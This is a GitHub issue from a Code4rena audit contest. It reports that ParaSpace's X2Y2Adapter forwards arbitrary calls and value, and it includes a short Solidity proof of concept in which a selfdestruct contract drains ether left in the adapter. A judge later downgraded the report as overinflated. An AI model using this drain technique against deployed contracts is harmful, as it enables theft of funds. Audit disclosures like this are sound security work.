Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

marketplaces adapter contracts funds can be stolen #2

Closed
code423n4 opened this issue Nov 23, 2022 · 5 comments
Closed

marketplaces adapter contracts funds can be stolen #2

code423n4 opened this issue Nov 23, 2022 · 5 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-215 unsatisfactory does not satisfy C4 submission criteria; not eligible for awards

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/para-space/paraspace-core/blob/main/contracts/misc/marketplaces/X2Y2Adapter.sol#L88-L100

Vulnerability details

description :

the contract X2Y2Adapter and other adapters forwards arbitrary calls and arbitrary msg.value to arbitrary contracts

Impact

attacker can steal the funds of https://github.com/para-space/paraspace-core/blob/main/contracts/misc/marketplaces/* contracts

Proof of Concept

Funds theft
REMIX IDE

// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.10;

import "https://github.com/para-space/paraspace-core/blob/main/contracts/misc/marketplaces/X2Y2Adapter.sol";

in other file deploy this :

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";

contract simple is ERC20("test","test") {
   fallback() external payable {}
}

Deploy them both,
with user1 run the "matchAskWithTakerBid" function :
matchAskWithTakerBid(ERC20address,000000000000000000000000881d40237659c251811cec9c364ef91dc08d300c0000000000000000000000000000000000000000000000000000000000000000,1)
with 2 ehters call, the call will be made
the contract will send 1 ether to the example and the other one will remains in X2Y2Adapter contract

As attacker,
create this contract :

pragma solidity 0.8.0;

contract malicious {
  function s() payable public {
   selfdestruct(msg.sender);
  }
  fallback() external payable {

  }
}

On the X2Y2Adapter contract call the "matchAskWithTakerBid" function :

matchAskWithTakerBid(malicious,0x00,1), run it with 0 as msg.value, this will run the Address. functionCallWithValue which eventually forwards the call to the given address
The malicious contract will receive that 1 ether (or whatever balance of the adapter contract)

Tools Used

Manual testing

Recommended Mitigation Steps

make the marketplace contract set by the team, and make the value is the same as the msg.value so there won't be any ethers left on the adapter contract :

address public marketplace;
function setMarketplace(address _market) external {
   require(admin == msg.sender,"!auth");
   marketplace = _market;

...

    function matchAskWithTakerBid(
       /* address marketplace,  >> remove that line */
        bytes calldata params,
        uint256 value
    ) ...
    
     require(value == msg.value,"wrong value");
    ..
   
       

@c4-judge
Copy link
Contributor

dmvt marked the issue as primary issue

@c4-judge c4-judge added the primary issue Highest quality submission among a set of duplicates label Dec 20, 2022
@c4-judge c4-judge closed this as completed Jan 9, 2023
@c4-judge c4-judge added duplicate-34 and removed primary issue Highest quality submission among a set of duplicates labels Jan 9, 2023
@c4-judge
Copy link
Contributor

c4-judge commented Jan 9, 2023

dmvt marked the issue as duplicate of #34

@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Jan 9, 2023
@c4-judge
Copy link
Contributor

c4-judge commented Jan 9, 2023

dmvt changed the severity to 2 (Med Risk)

@c4-judge
Copy link
Contributor

c4-judge commented Jan 9, 2023

dmvt marked the issue as unsatisfactory:
Overinflated severity

@c4-judge c4-judge added the unsatisfactory does not satisfy C4 submission criteria; not eligible for awards label Jan 9, 2023
@dmvt
Copy link

dmvt commented Jan 9, 2023

This is a real stretch and not an attack so much as user error.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-215 unsatisfactory does not satisfy C4 submission criteria; not eligible for awards
Projects
None yet
Development

No branches or pull requests

4 participants